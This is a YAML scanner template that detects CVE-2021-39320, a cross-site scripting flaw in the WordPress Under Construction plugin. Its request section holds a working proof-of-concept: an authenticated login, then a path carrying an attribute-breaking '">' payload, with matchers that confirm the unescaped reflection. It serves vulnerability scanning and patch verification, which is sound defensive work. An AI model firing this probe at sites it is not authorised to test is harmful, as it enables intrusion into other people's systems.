id: CVE-2021-39320
info:
name: WordPress Under Construction <1.19 - Cross-Site Scripting
author: dhiyaneshDK
severity: medium
description: |
WordPress Under Construction plugin before 1.19 contains a cross-site scripting vulnerability. The plugin echoes out the raw value of `$GLOBALS['PHP_SELF']` in the ucOptions.php file on certain configurations, including Apache+modPHP.
impact: |
The vulnerability allows an attacker to inject malicious scripts into the website, potentially leading to unauthorized access, data theft, or defacement.
remediation: |
Update to the latest version of the WordPress Under Construction plugin (1.19 or higher) to fix the XSS vulnerability.
reference:
- https://wpscan.com/vulnerability/49ae1df0-d6d2-4cbb-9a9d-bf3599429875
- https://www.wordfence.com/vulnerability-advisories/#CVE-2021-39320
- https://nvd.nist.gov/vuln/detail/CVE-2021-39320
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-39320
cwe-id: CWE-79
epss-score: 0.0021
epss-percentile: 0.58906
cpe: cpe:2.3:a:underconstruction_project:underconstruction:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: underconstruction_project
product: underconstruction
framework: wordpress
tags: cve2021,cve,wp-plugin,wpscan,wordpress,wp,xss,authenticated,underconstruction_project
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/admin.php/">/?page=under-construction HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'action="/wp-admin/admin.php/">'
- 'under-construction'
condition: and
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200
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